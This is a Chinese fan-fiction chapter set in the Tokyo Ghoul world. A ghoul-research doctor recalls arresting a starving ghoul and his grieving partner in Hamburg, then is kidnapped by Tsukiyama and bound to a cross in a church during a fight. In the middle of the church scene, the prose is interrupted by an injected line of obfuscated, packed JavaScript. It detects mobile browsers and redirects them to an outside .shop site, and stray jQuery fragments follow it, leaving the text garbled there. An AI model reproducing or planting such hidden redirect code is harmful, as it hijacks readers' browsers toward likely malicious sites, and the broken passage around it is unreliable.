我在德国的时候,曾经驱逐过这样一个男性喰种。
那是个深秋的夜晚,我被调去汉堡分局指导工作。分部的走廊里总是弥漫着手冲咖啡的气味,焦苦的、带着酸味的香气从通风管道里灌进来,让人的神经末梢都跟着麻木,我的办公桌上堆着厚厚一摞档案袋,大部分都鼓鼓囊囊的,塞满了现场照片、目击证词、RC值监测曲线图,还有各种各样用红笔标注的备注。
但他的档案很薄。
我第一次拿起来的时候还以为里面是空的,牛皮纸信封轻飘飘的,拿在手里几乎没有重量。我抽出里面的纸张,第一页是基本信息,姓名栏写着“埃里希·□□”,年龄三十二岁,RC值一千二百出头,刚刚跨过警戒线。第二页是一张模糊的监控截图,他穿着深灰色的连帽衫,低着头走在夜晚的街道上。第三页是一张活动范围地图,几个稀疏的红点散落在汉堡东南角的旧城区里,彼此之间隔着大片的空白。
没有前科,没有袭击记录,没有目击证人的口供,他在GFG的数据库里安静的存在了三年之久。
我翻来覆去地把那份档案看了好几遍,最后丢回桌上,盯着天花板上嗡嗡作响的日光灯发呆。当时派来协助我的是一个叫穆勒的搜查官,胡子拉碴,领带永远系不到领口,露出一截晒得发红的脖子。他探过身来瞥了一眼档案袋上的名字,发出一声意味不明的哼笑。
“他啊,”他用笔帽敲了敲桌面,“这么多年连一次主动捕食的记录都没有,说真的诺亚博士,你觉得这种喰种值得我们花时间吗?”
“不值得。”我说。
“那你还看那么久。”
我把椅子转了个方向,看着窗外灰蒙蒙的天空,“我只是在想……他这三年是怎么过的。”
穆勒耸了耸肩,他的面前摊着一份现场报告,照片角上露出半只血肉模糊的手。他熟练地翻了个面,用一张空白表格盖住了,“怎么过的?躲着人过呗。他的RC值连捕食都费劲,估计只能捡点其他喰种不要的残渣什么的。”
“也有可能。”
“不是也有可能,是肯定。”穆勒用笔在纸上划了一道,“我跟你说,这种喰种最没意思了,要抓他吧,他什么坏事都没干过。不抓他吧,他又确实是个吃人不吐骨头的东西,卡在中间不上不下的,让人难受。”
我没有再接话。
窗外的梧桐树正在落叶,一片一片地往下掉,被风卷起来,在空中打着旋儿,最后落在湿漉漉的街道上。
穆勒已经收拾东西准备下班了,他把文件塞进抽屉里,抓起搭在椅背上的外套,走到门口的时候回头看了我一眼。
“博士,你还不回去吗?”
“我再坐一会儿。”
他站在门口,手搭在门框上,无意识地抠着掉漆的地方,犹豫了一下。
“我其实一直想问你一件事的,你……”他踌躇地问道 ,“你研究喰种这么多年,比我们这些只知道在前线打打杀杀的莽夫看得更透彻,我就想知道——你觉得他们到底是什么?”
“什么意思?”
“就是……”他皱起眉头,努力组织着语言,手指在空中来回比划,“他们是人吗?还是只是怪物而已?我在外勤干了十二年,抓过的喰种没有一百也有八十。有的凶残得要命,吃人跟吃饼干一样,眼睛都不眨一下。你在他面前站着,他看你的眼神跟看一块牛排一样。但也有的……”他顿了顿,喉结上下滚动了一下,“也有的看起来就跟普通人没什么两样。被抓的时候哭,求饶,还会问家里人怎么办。你说他们要是纯粹的怪物,怎么会问出这种话?怪物不会问家里人怎么办的,对吧?怪物不会在乎家里人的。”
窗外的梧桐叶又落了一片。
“我不知道。”我说。
穆勒看着我,等了几秒,大概是在等我继续说下去,但我没有,他等到的我身后窗玻璃上雨点敲出的细碎节奏。
“算了,问你也是白问。”他最后叹了口气,把外套甩肩上,“你这个人啊,什么都往肚子里咽。在GFG干了这么多年,我就没听你说过一句关于你自己的事……走了。”
门关上了,走廊里的脚步声渐渐远去。
我一个人坐在办公室里,听着日光灯嗡嗡的响声,小雨把玻璃上的灰尘冲出一道道蜿蜒的水痕。我拉开抽屉,把埃里希·□□那个薄薄的档案袋从最底层抽出来,又看了一遍。
三页纸,加起来不到一千个字,这就是埃里希·□□作为一个喰种在这个世界上存在过的全部官方记录。没有写他怎么度过饥肠碌碌的一天,没有写他吃什么,没有写他有没有爱过什么人,又被什么人爱过。很多事情档案里不会写,所有能让一个人成为“人”的东西,都被折叠进了“备注”一栏的空白里。
我把文件折了两折,塞进了碎纸机里,准备改天就把他从数据库中彻底删掉。
埃里希被发现纯属偶然。
值夜班的巡警在凌晨例行巡逻的时候,在旧城区的一条巷子深处撞见了他。那条巷子夹在两栋废弃的公寓楼之间,狭窄得只容一人通过,路灯只能照到巷口往里三四米的位置。巡警以为有流浪汉在翻垃圾,就打开手电筒照了过去。
光线刺破黑暗的那一瞬间,他抬起了头,手电筒的强光照亮了嘴角残留着的腐烂的液体。那只被光线直射的眼睛已经变得猩红,密密麻麻的黑色纹路一直蔓延到太阳穴。
巡警的手电筒掉了,光束在天旋地转中扫过他脚边露出的半截手臂。
事情就是这样败露的。
我被叫去的时候已经是凌晨三点,深秋的夜晚冷得刺骨,呼出的气在路灯下凝成一团团白雾。我裹着大衣从车上下来,巷口已经围了不少人,几名搜查官站在线内,脸上挂着一种懒洋洋的、见怪不怪的倦怠感,低声讨论收工之后去哪里喝酒。
穆勒也在,他一个人靠在警车引擎盖上,手里端着杯从自动贩卖机买的罐装咖啡,看到我来了,抬了抬下巴算是打招呼。
“人抓到了?”我问。
“抓到了。”他朝巷子深处努了努嘴,“在里面跪着呢,挺老实的,都没怎么反抗。”
“什么情况?
“RC值刚过线,赫子弱得跟纸糊的一样。”穆勒喝了一口咖啡,皱起眉头,用手背抹了抹嘴,“这真挺没意思的,我看了那具尸体,连脂肪都已经开始皂化了。他竟然饿到连腐烂的尸体都吃,博士,你说这算什么喰种?喰种的脸都让他丢尽了。
我点点头,从警戒线下面钻了过去。
两侧的墙壁几乎贴在一起,头顶只能看到一线天空。两侧的墙壁上长满了青苔,空气里弥漫着潮湿的、腐朽的气味。
埃里希跪在地上,双手被反绑在身后,膝盖下面是粗糙的沥青路面。他的赫子已经被破坏得差不多了——说是赫子,其实只有几根从肩胛骨伸出来的残破骨刺,细细的,像营养不良的植物根须,从被撕破的连帽衫里支棱出来。
走近的时候,他抬起头看了我一眼。
那是一张很普通的脸,浅褐色的头发乱糟糟的,颧骨有点高,下巴上冒出青色的胡茬。如果不是嘴角还残留着一点猩红的痕迹,他完全就是一个疲惫的、生活不如意的普通人。
他看了我一眼,甚至没有什么太多的情绪,很快又低下头,盯着地面上的一小块暗色水渍。
“埃里希·□□?”我问。
他点了点头。
“知道为什么会被抓吗?”
他又点了点头。
“那你有什么想说的吗?”
他沉默了很久,我的皮鞋尖在水渍边缘轻轻蹭了一下,正准备转身离开的时候,他开口了。
“……对不起。”
我停下脚步回头看他。他依然低着头,肩膀微微耸着,像做了错事被抓住的孩子般缩成一团。
对不起?
这句话是对谁说的?是对那具已经高腐的尸体?是对被他吓到的巡警说的?是对我们这些站在他面前的搜查官说的?还是对某个在家里等他回去的人?
我不知道。
但“对不起”这三个字,比任何尖锐的叫骂诅咒都更让我觉得沉重。我有什么资格去审判他呢?
警戒线外面忽然传来一阵骚动。有人在尖叫,有人在喊,然后是急促的、跌跌撞撞的脚步声,直直地朝巷子里冲过来。
一个女人从围观的人群里冲了出来,她穿着一件褪色的碎花连衣裙,外面套着一件明显大了好几号的男式夹克。头发散着,深棕色的长发乱蓬蓬地披在肩上。她撞开警戒线的时候一个年轻的搜查官伸手拦住了她,她就像一只被网缠住的鸟拼命地扑腾,指甲在胳膊上抓出一道道红印,膝盖和手肘胡乱地撞向任何挡在她面前的东西。
“让我过去!让我过去——”
她的声音很大,大到整个街区都能听见。但她的身体很小,小到搜查官只用一只手就能把她箍住。
跪在地上的喰种听到了声音,身体猛地绷紧了。这是他第一次有了明显的反应,脖子上的青筋一根一根地暴起来,绑在身后的手攥成拳头,有血从指缝里渗出来。
我抬了抬手,示意搜查官将她松开,女人立刻跌跌撞撞地跑过来,她在石板路上绊了一下,膝盖磕在地上,但她没有低头看一眼,立刻爬起来继续往前跑。在距离我们还有两步远的地方扑通一声跪下了。
她跪在地上往前挪了两步,膝盖在粗糙的石板上磨出了血,她像是完全感觉不到痛一样,双手捧起喰种的脸,拇指在他的颧骨上反复摩挲,把凝固的血污一点一点地蹭掉,露出下面苍白的皮肤。
“没事的,没事的,没事的。”她的声音在发抖,嘴唇在发抖,下巴在发抖,连捧着他脸的手指都在发抖,“我在这里,我在这里啊——”
她哭得崩溃,眼泪从眼眶里涌出来,顺着脸颊往下淌,滴在他满是血污的衣领上,翻来覆去就是那几个字。
男人低下头,额头抵住她的肩膀。
他的身体在发抖,像暴风雨中的一棵树,但他从头到尾没有流一滴眼泪,没有发出一声完整的哭泣,只有从牙缝里挤出来的、被死死压住的呜咽。
我站在两步之外,手里捏着提箱,不知道该作何反应。
女人的手指还在他的脸上摩挲,从颧骨到下颌,从眉骨到太阳穴,像是只有这样才能确认他还活着,他的脸还是完整的一张脸。她的眼泪不停地流,哭泣的声音越来越小,最后变成了气声,变成了只有他一个人能听到的呢喃。
我记得母亲也这样摸过父亲的脸。
那是很久以前的事了,我还很小,半夜醒来去厨房喝水,经过客厅的时候看到他们坐在沙发上。电视开着,但没有声音,屏幕上的光影在他们脸上明灭。父亲靠在沙发扶手上,头枕着母亲的腿,闭着眼睛。母亲的手放在他脸上,拇指在他的颧骨反复摩挲,一遍又一遍。
我站在那里看了很久,悄悄地回了房间。
那时候我还不知道母亲是喰种,只知道她摸父亲脸的动作很慢,很轻,像是在抚摸一件随时会碎的东西。
后来我才明白,和喰种相比,人类脆弱得像风中的火柴。人类的皮肤会被割破,骨头会被折断,生命会在任何一个不经意的时刻戛然而止。母亲在遇见父亲的那一刻就知道这一点,她知道自己选择的路的尽头不是白头偕老,而是一个人的墓碑和另一个人孤独的余生。
“诺亚博士。”穆勒走到我身边,从口袋里掏出一根烟叼在嘴里。打火机啪嗒响了一声,橘色的火苗在夜风中晃了晃。他吸了一口,歪着头看着那两个人,眉头皱成一个深深的“川”字。
“好好一个姑娘,为什么会爱上喰种呢?”
他把烟夹在手指间,女人已经没有力气哭了,整个人瘫坐在地上,手臂死死地箍着男人的脖子。
“你看看她长得也不差,找什么样的人不好?偏偏……偏偏找了个喰种,图什么呢?”
他把烟头扔在地上,用鞋尖碾灭,然后像是想起了什么似的又从口袋里摸出一根,夹在手指间烦躁的转来转去。
“怎么会有猎物自觉走入猎人的陷阱呢?这不是送死吗。”
“我怎么会知道。”我不耐烦的回答。
这句话是真的,我真的不知道。
但我想起了一些事。
我想起父亲做的晚饭,母亲是喰种,她不能吃人类的食物,但她每天晚上都会坐在餐桌旁边,面前放着一杯水,偶尔端起来抿一口,大部分时间只是双手交叠放在桌面上,耐心的看着我们。
父亲会做很多菜,炖牛肉、煎猪排、土豆泥、烤蔬菜。除了实验室,他就喜欢在厨房里待着,一边切菜一边哼歌,哼的曲子永远不在调上,但他自己从不觉得,甚至会哼着哼着吹起口哨来。
我那个时候很不喜欢吃东西,但他做的炖牛肉是我吃过的最好吃的,汤汁浓郁,肉质软烂,胡萝卜和洋葱的甜味完全融进了汤里,热气在餐桌上方升腾,带着肉的气味充满整个房间。
母亲不能吃,但她每次都会问:“今天好吃吗?”
父亲会说:“你尝尝。”
她突然就会被逗笑,是真的觉得这件事很好笑,肩膀轻轻抖动着,眼角挤出细纹,说:“下次多放点盐。”
“你没有吃,怎么知道少盐了?”
“闻出来的。”
“骗人。”
“没骗你,你的炖牛肉盐放少了会有一种……怎么说呢,土豆的味道会太冲。”
父亲会愣一下,然后哈哈大笑。他笑的时候整个人都在抖,眼角会挤出皱纹,露出白白的牙齿。我母亲看着他笑,自己也跟着笑,眼睛弯成两道月牙。
那时候我不知道她是喰种,只知道妈妈从来不吃爸爸做的饭,但爸爸并不难过。他每次都会问“你尝尝”,她每次都会说“下次多放点盐”,然后他们一起笑。我坐在餐桌对面,看着两个大人像傻瓜一样笑成一团,觉得自己大概是全家唯一一个正常的人。
后来我知晓了很多事情,遇到了影响我的挚友,又进了GFG,看了无数关于喰种味觉的研究报告。人类的食物对喰种来说是一种折磨,舌头接触到的瞬间就会引发强烈的排异反应,味蕾会把复杂的分子识别为毒素,向大脑发送警告信号,导致剧烈的痛苦。
而母亲坐在餐桌旁边,闻着父亲炖的牛肉,说“土豆的甜味太冲了”。
她不能吃,但她闻得出来盐放少了,她记得土豆在炖煮过程中释放出的甜味应该被盐中和到什么程度。她记住了她永远无法品尝的味道,只因为那是她爱的人做的。
穆勒看了我一眼。他把没点着的烟从嘴里拿下来,在手指间转了两圈,塞回口袋里。
“也是,”他说,“谁能想明白这种事呢。”
他转过身,朝巷口走去,走出几步又停下来,回头看了我一眼。
“我去叫车,博士你回去休息吧,这里应该不会出什么乱子。”
我点了点头。
巷子里安静下来,只剩下女人偶尔的抽泣和夜风穿过狭窄巷道时发出的呜咽。那声音像口哨,像叹息,在两栋废弃公寓楼之间来回撞击,最后消散在深秋的冷空气中。
那个男人还是被带走了,他被押上车的时候,女人被搜查官拦在警戒线外。她没有再冲撞,也没有再尖叫,双手攥着警戒线,看着他的轮廓越来越小,越来越淡,直到完全消失在黑暗中。
车子发动的时候,她的嘴唇动了一下。我听不清她说了什么。但从口型来看,还是那三个字。
——我没事。
那是她对他说的最后一句话,不是“我爱你”,不是“我等你”,不是“我该怎么办”,而是“我没事”。她在告诉他不要担心,她在最应该崩溃的时候选择了让他放心,世界在脚下碎裂,女人弯下腰捡起碎片,拼给他看的最后一个表情是我没事。
父亲死之前也说过这句话。
他知道我们会活下去,母亲会在他走后继续活很久很久。他知道她会记住他,会记住他做的炖牛肉,会记住他的笑声,会记住一起坐在沙发上看无声电影的夜晚。所以他说“我没事”——你不要担心我,我已经走到尽头了,但你还要继续走,所以你要好好的。
大概人类与喰种产生感情之日起,结局就已经注定了。一个人的寿命减去另一个人的寿命,剩下的时间就是悲伤的长度。“为什么会爱上”这个问题本身就没有意义,爱本来就不是一个需要理由的东西。真正的问题是——
为什么明知道结局,还是选择开始?
我站在汉堡深秋的街头,看着警戒线外面光着一只脚的女人,很久之后才知道她的名字叫玛尔塔,她呆呆地站在原地,看着载着爱人的车一点一点地消失在街道尽头。
后来我听说,埃里希·□□被遣送到了东部的收容区。玛尔塔曾经三次申请探视,每一次都被拒绝了。第四次申请的时候,她被告知埃里希·□□已经在一次区域冲突中死亡。
我其实很少想起那件事,但在刚才,它又毫无征兆的出现在我的梦里——大概是因为我被人绑架的缘故,挨了一下的脑袋总容易胡思乱想,把那些压在记忆最底层的、我以为早就忘了的东西翻出来,一件一件地摆在面前,让我再看一遍。
离开咖啡店后我就上了车,可还没开出多远后排就兀地窜出一道黑影,我从座椅上弹起来的时候,一只手已经按上了我的肩膀。铁钳一样的五指箍住我的肩胛骨,把我死死地按回座椅上。我甚至来不及回头看那张脸,后颈就被什么东西猛地击中了。
车头大概是撞到了墙上,地面的冰凉透过皮肤渗进来,在意识完全消失之前,我想起了母亲说过的一句话。
「他走得太快了。」
我的意识沉入黑暗。
我想起我来到这个世界上的原因。
…
醒过来的时候后颈还在疼,像有一块烧红的铁烙在骨头上。我想伸手去摸,发现手动不了,麻绳的纤维刺进皮肤里,指尖已经开始发麻,鞋不知道什么时候被脱掉了,赤裸的脚底能感觉到空气的凉意。
我睁开眼睛。
光线很暗,空气里弥漫着一股陈旧又潮湿的气味,视线慢慢聚焦,巨大的窗户占据了头顶上方全部的视野。
月光从窗外透进来,穿过五彩斑斓的玻璃碎片,在地面上投下一片斑驳的像梦境一样的光影。彩色玻璃上,一个男人被钉在十字架上,头低垂着,肋骨一根根凸出,手掌和脚背上有鲜红的钉痕,周围环绕着哭泣的女人和仰望着他的信徒,双手伸向那双被钉穿的脚。
圣子受难。
我把目光从彩绘上移开,一点一点地扫过周围的环境。
高耸的穹顶,哥特式的拱肋,两侧排列着木质的长椅,椅背上雕刻着繁复的纹饰,墙壁上有烛台,烛台里插着烧了一半的蜡烛,烛泪沿着烛台流下来,凝固成乳白色的、层层叠叠的痕迹。
我被带到了一座教堂里,但真正让我脊背发凉的,是我被捆绑的方式。
我低下头,看到自己的身体。
双臂向两侧展开,两根木头交叉成一个十字,我被绑在这个十字上,如同一个被处刑的罪人。
这个念头在脑子里炸开的时候,我几乎笑出声来。我仰起头,看着被钉在十字架上的圣子,又低头看了看自己狼狈的模样,嘴角不受控制地弯了起来。
弥赛亚被钉在十字架上是替世人赎罪。而我呢?我替谁赎罪?
我想起那些被我解剖的喰种,被我杀死的人们,那些曾经是活着的、呼吸的、有名字的、同样被人爱着的存在。
我这一辈子做过的事情加起来,够不够格让我被绑在这上面?
大概是不够的,但也可能是太多了。天平两端的砝码堆得太高,已经无法分清哪边更重。
我深吸了一口气,试图让混乱的思绪平静下来,很快又听到了另一个人的呼吸声。我费力的直起头看向脚下,发现石质祭台上还有一个女性。
她的双手反被绑在身后,嘴里塞着一块白色的布,布的一角已经被唾液浸湿了,她的嘴唇微弱的动了一下,无法发出声音。
我不认识她。
她像是个还在读书的学生,但她的眼睛里有一种奇特的东西,深深扎根在了恐惧的最底层。
“姑娘,”
我的声音在空旷的教堂里回荡,她眨了眨眼睛,目光重新聚焦在我的脸上。
“你叫什么名字?”
她盯着我看了几秒,像是在判断我是否值得信任,她的嘴唇隔着白布动了几下,发出几个含混的气音。
“西野……”
她又说了一遍,这次放慢了速度,努力让嘴唇的动作更加清晰。
“……贵未。”
西野贵未。我记住了这个名字。
“你好啊,西野小姐,我也是被绑来的。”我尽量让语气听起来轻松一点。
这句话大概是她今晚听到的最没有用的信息,她的眼眶又红了,眼泪涌上来在眼眶里打转,但她用力地眨了几下眼睛把眼泪逼了回去。然后她看着我,像是在等我说更多的话。
“你知道为什么会被绑来这里吗?
她摇头。
“是得罪过什么人吗?”
她依旧不知道。
我靠回横木上,后脑勺抵着粗糙的木质表面,看着悲悯又冷漠的圣子像。
啊,事情突然就变得棘手起来了。如果连为什么被绑都不知道,那就意味着绑匪不完全是冲着她来的。那她为什么在这里?诱饵?人质?
我的脑海中飞快思索着一切可能的人选,思来想去依旧毫无头绪,偌大一座东京城与我有深仇大恨的应该就只有和修一族而已。
如此想着,一阵脚步声忽然从教堂的深处传来,在空旷的空间激起一层又一层的回声。我转过头,眼睁睁地看着从阴影里走出来的……月山习。
他换了一套更耀武扬威的紫色西装,头发打理得比之前更精致了。手里还端着一只玻璃酒杯,一边走一边装模作样的轻轻摇晃。
他走到祭坛前面停了下来。月光从彩绘玻璃窗洒下,正好照在他站的位置,他显然很满意这个灯光效果,自信的扬起下巴,让光线更好地照亮他的侧脸。
我居高临下地看着他。
月山习对上我的目光,嘴角的弧度慢慢加深,他歪了歪头,目光在我身上缓缓游移。
“老师,您知道吗,您现在的样子,比我预想的还要美丽。”
他顿了顿,又歪歪头,从另一个角度欣赏一幅画。
“今天下午在古董咖啡店看到您的时候,我就在想——如果能把您放在一个更适合您的位置上,会是什么样的景象。您不用再坐在廉价的椅子上,不用被平庸的灯光照着,不用和那些……”他挥了挥手,像是在寻找一个合适的词,“那些普通人混在一起,而是坐在一个能够配得上您的位置上。”
他朝我的方向举了举酒杯。
“于是我就想到了这里,这座教堂是爸爸名下的产业,十六世纪的建筑,每一块石头都是从法国运来的勃艮第的石灰岩,彩绘玻璃是十九世纪复刻的场景——圣子为世人的罪被钉在十字架上。”他的声音越来越轻,像是在自言自语,“而您……您是为了什么被绑在这里呢?”
他走到十字架前面,仰起头看着我,赫眼在月光下亮得像一盏灯。
“是为了艺术,”他轻声说,声音里带着虔诚的颤抖,“为了美。为了——这一刻。”
我的脸色立刻变的像吞了苍蝇一样难看。
月山习注意到了我的表情,嘴角的笑意加深了一些,似乎把我的厌恶当成了能让他的“艺术”更加完整的佐料。
“金木君正在来的路上,我让人给他传了消息,告诉他您在我这里,当然,还有这位可爱的女士也在。西野小姐,对吧?西尾锦饲养的宠物——请原谅我的措辞,跨物种的恋爱关系总是让人很感兴趣呢。”
他把酒杯放在祭坛上,从口袋里掏出一块白色的手帕,慢条斯理地擦拭着手指。
“等金木君到了之后,我会让他吃掉这个女人。”
他的目光从西野贵未身上移到我身上。
“而我会吃掉金木君。”
那张像艺术品一样精致的脸,在昏黄的灯光下呈现出疯狂的美感。他的嘴角上扬,眼神明亮,整个人散发出一种狂热的兴奋,像一个信徒终于等到了神的降临。
“您不觉得这很完美吗?”月山习激动到浑身发抖,“金木君一直在压抑自己,拒绝接受自己真正的本性。他明明是一个喰种,却固执地要和人类混在一起,读人类的大学,交人类的朋友,看人类的书,过人类的生活。他把自己关在一个狭小又虚伪的笼子里,假装自己和笼子里的其他鸟一样——但他不是鸟,他是猎食者,他明明站在食物链的顶端!却非要弯下腰去吃地上的草。”
他的语速越来越快,声音越来越激动。唾液的分泌量在增加,他不得不每说几句就吞咽一次,喉结在衬衫领口上方上下滚动。
“我可以帮他……我可以帮他打开那个笼子。让他品尝到人类血肉的滋味 ,让他接受自己真正的本性,成为完整的自己。”
他顿了顿,双手合十,抵在下巴上。
“而作为报答,他会成为我的晚餐。”
教堂里安静了几秒,只有烛火轻微的噼啪声,和西野贵未压抑的、带着颤抖的呼吸声。
我看着月山习激动到发抖的身体,他的赫眼里蔓延出黑色纹路,那双手修长白皙,指甲修剪得整整齐齐,像是从来没有沾过血。
月山集团的少爷,从小食用“精培”人类长大的喰种。他吃掉的每一个人都曾经是某个人的孩子,某个人的爱人,某个人的父母。他们也有名字,也有恐惧,也在最后一刻想过再也见不到的人。
月山习不在意这些,对他来说,那些人只是食材,是成就他“美”的工具。他不会在意他们被带走的时候,是不是也有一个玛尔塔站在警戒线外面。
他不会想的,因为他从来没有爱过人类,他爱的是人类作为猎物的价值。他从来没有把人类当成和他平等的、值得被爱的存在。
这才是区别。
不是人类和喰种的区别,是“把对方当成物品”和“把对方当成人”的区别。
“月山,你打算把我怎么办?”
“您?”他十指交叉,撑住下巴,目光在我脸上缓缓游移,“老师,您是我今晚最大的惊喜。我原本的计划里并没有您,您应该是一个更遥远的、需要更多时间来准备的目标,您太珍贵了,不能草率对待。我原本打算花几个月的时间来了解您,研究您,找到最适合的烹饪方式,在最完美的时刻、最完美的地点,用最完美的方式来品尝。但您今天自己送上门来了,当我看到您从‘古董’里走出来的那一刻,我就知道,我等不了了。命运把您送到了我面前,我不能辜负命运的安排。”
他的胳膊缓缓抬起,指尖朝我的方向微微探了探。
“您答应过我的,”他的语气忽然变得柔软,甚至带着一丝撒娇的意味,“您说您会让我品尝您的。”
“我当时说的是‘考虑’,不是‘答应’。”
“考虑和答应之间的区别,对我来说并不重要,因为结果都是一样的。您是一个理性的人,老师,当您想清楚了一切利弊之后,一定会做出正确的选择。”
他微微一笑,重新坐回椅子上。
“您放心,我暂时不会伤害您的。至少在金木君到来之前您是都我的贵宾,我会让您亲眼见证这场盛宴——然后,我们再谈您的事”
他看了我一眼,嘴角弯起一个温柔的弧度。
“也许看完金木君的表演之后,您会改变主意呢。您会发现被我品尝并不可怕,而是一件非常美丽的事情。”
听着他信誓旦旦的口吻,我没有再说话。
月山习的眼睛亮晶晶的,像是一个等待夸奖的孩子。他是真的相信这一切都是有意义的,相信金木研的觉醒、西野贵未的牺牲都是通往美的必经之路。
他不知道牺牲是什么感觉,他从来没有为任何人牺牲过任何东西。他拥有的太多了——月山集团的财富、从小到大众星捧月的待遇、取之不尽的血肉、挥霍不完的时间和资源。他不知道什么是饥饿,不知道什么是恐惧,不知道什么是“为了一个人可以放弃一切”。所以他只会把牺牲包装成美学,把别人的痛苦当成艺术品来欣赏。
但真正的牺牲从来不是美的,那只是痛罢了。
我叹了长长一口气。
月山习不知道自己无意中捅了一个多大的篓子,如果我长时间不见踪影,老妈子一样的艾文一定会把东京掀个底朝天,说不定连CCG都会被惊动,那可不是装傻充愣就能轻而易举收场的结果。
要不然……
我睨了一眼癫狂的月山习。
要杀了他吗?
突然出现的念头在我脑子里转了一圈,可杀了他之后呢?月山集团不会善罢甘休的。
被月山观母追杀,和在CCG面前暴露,哪个更棘手一些?
我思忖着,手指在袖口内侧的暗袋上轻轻按了一下,刀刃凉凉的触感透过布料传到指尖,就在这时,教堂外面传来急促的脚步声。
有跑在前面的,步伐轻而快,有跟在后面的,每一步都踏得很实。还有一个落在最后,脚步不稳,用尽全力才能勉力跟上。
月山习的嘴角弯了起来。
“来了。”他轻声说。
他站起身,整了整西装前襟,转过身张开双臂。
大门被猛地撞开了。
月光像水一样漫过门槛,把三个人的影子拉得又长又细。
金木研走在最前面,他的身后是雾岛董香,最后面是一个我不认识的男生,脸色苍白的像遭受重创。他的目光扫过教堂,在第一时间落在被绑在祭台上的西野小姐身上。
月山习转过身,嘴角的笑意更深了。
“哎呀呀,西尾锦君,我记得好像没有邀请过你呢。”
“少废话,你竟敢对贵未出手!”
他的眼睛从眼眶边缘开始一点一点地泛红,有血要从里面渗出来。
月山习歪了歪头,像是在看一只突然跳上餐桌的野猫。
“你这样贸然的闯进来,还对我大喊大叫,实在是很没有礼貌。不过没关系,今晚是个特殊的夜晚,我可以破例对你宽容一些。”
他朝西野贵未的方向抬了抬下巴。
“至于这位可爱的小姐,你放心,我还没有碰她。她现在还是完整的,原封不动。”他的舌尖舔过上唇,“当然,这个状态不会持续太久,我要把第一口留给金木君,作为他觉醒的祭品。
西尾锦的身体猛地绷紧了,他的后背弓起来,肩胛骨之间的肌肉像弓弦一样拉紧。
我被绑在十字架上,俯视着一触即发的局势。
在喰种研究中,存在着一个无论如何都绕不开的论断——喰种的强大和赫子有着巨大的关系,Rc细胞在体内震动,筋力增强,恢复力强化,机动力推进,从而得到强大的力量。如果说赫子是引擎的话,那么人类的血肉就是燃料
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604358|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一个强大喰种的脚下必然伴随着数不清的尸骸。
月山习是月山集团娇生惯养下唯一的儿子,挥一挥手就有无数喰种为他前仆后继,他从来没有体验过RC值降到警戒线以下的感觉。而被约束着只能进食‘劣质食物’的咖啡店的各位就像一群摇摇晃晃的小鸡雏,他们或许有天赋,但他们营养不良,缺乏实战经验,无法让赫子发挥应有的力量,战胜不了月山习也是意料之内的事情。
只是……
我活动了一下酸麻的脖颈,朝几个回合下来就血肉模糊的喰种看去。
战斗已经持续了一段时间。教堂的长椅被掀翻了好几排,木屑和碎裂的布料散落一地。墙壁上的烛台倒了几座,融化的蜡油淌在地面上,凝固成乳白色的水洼。彩绘玻璃窗上多了几道裂纹,月光从裂缝里漏进来,在黑暗中切出一条条细细的光线。
西尾锦显然已经毫无还手之力了,他趴在地上,左肩被贯穿了两次,留下两个拳头大小的窟窿,边缘的肌肉组织翻出来,露出里面暗红色的还在蠕动的组织。腹部像山体滑坡一样坍塌下去一块,肋骨断了好几根,赫子在尾椎处疯狂地蠕动,试图修复伤口,但月山习的赫子还插在他的身体里,让他无法动弹。
金木研和董香冲了上去。
董香应该是他们三个里战斗力最强的,羽赫在短距离爆发上有着甲赫无法比拟的优势,但她不管是攻击还是躲避都束手束脚。月山习同时应付两个人依然游刃有余,赫子如装甲一般突进,每一次挥出都在空气里留下一道暗紫色的残影。他甚至还有余裕在格挡的间隙整理自己的领花,嘴角始终挂着若有若无的笑意。
他们打不过月山习。
即将要被杀死的认知像蛇一样缠绕上来,金木研跪在地上大口大口地喘气。西尾锦还在挣扎,月山习的赫子插在他身体里,每往前挪一寸,赫子就在他的伤口里搅动一寸。他的脸已经因为疼痛而扭曲了,五官挤在一起,额头上全是冷汗,但他还在向前。
“你是僵尸吗?”
月山习看了他们一眼,眉头嫌恶地皱了一下,然后他转过身,继续对付金木研和雾岛董香。
金木研被打飞了第三次,月山习的甲赫撞上他的胸口,他整个人像一颗石子一样被击飞出去,左边的肩膀彻底断成了一个不正常的角度,手臂垂在身侧晃来晃去,像一根脱离了关节的绳子。他倒在地上,嘴唇嚅动了几下,吐出几个含混的音节。
“咬我。”
女孩的眼睛猛地瞪大了。
“咬我,董香。”
董香盯着他,眼睛深处有什么东西在剧烈地晃动。
“你知道你在说什么吗。”
“我知道。”
“你——”
“没有时间了。”
金木研打断了她,朝西尾锦的方向看了一眼,那个男人已经快要爬到祭坛的台阶下了,每分每秒都在消耗他所剩无几的生命。西野贵未的眼泪还在流,隔着白布无声地重复着他的名字。
“咬我。拜托了。”
董香沉默几秒,动起来的时候速度比之前任何一次攻击都要快。赫子在身后猛地展开,推动她的身体像子弹一样射向金木研。她落在他面前,膝盖撞击地面,一只手抓住他的肩膀,另一只手把他的头按向自己的方向。她的动作粗暴而急切,像是怕自己后悔一样。
牙齿撕扯血肉的声音被教堂的穹顶放大。
混血喰种的血肉为干涸的河床注入了源源不断的溪流,高浓度的RC细胞在她的血管里燃烧。羽赫在吞噬的瞬间变得更亮了,半透明的刀刃上泛出一层暗红色的光泽,像血液在冰层下面流淌。
紫色和红色在空中相撞,火光在月光下迸溅,发出一连串密集的、金属交击的声响。长椅被气浪掀翻,烛台滚落在地,月山习的甲赫被击碎了一部分,暗紫色的鳞片飞散在空中,董香的羽赫也被击穿了一个洞,边缘的裂缝在扩大,但她没有退,将整个人都压了上去。
赫子在身后膨胀到极限,所有的光芒都集中在最前端的刀刃上,用尽了全身的力气从上方劈下。
月山习举起甲赫格挡,裂缝从接触点开始像蛛网一样向四周扩散。月山习的眼睛睁大了,砰地一声,他的甲赫彻底碎裂了,碎片向四面八方飞散。董香的赫子继续向下,贯穿了他的防御,贯穿了他的身体。
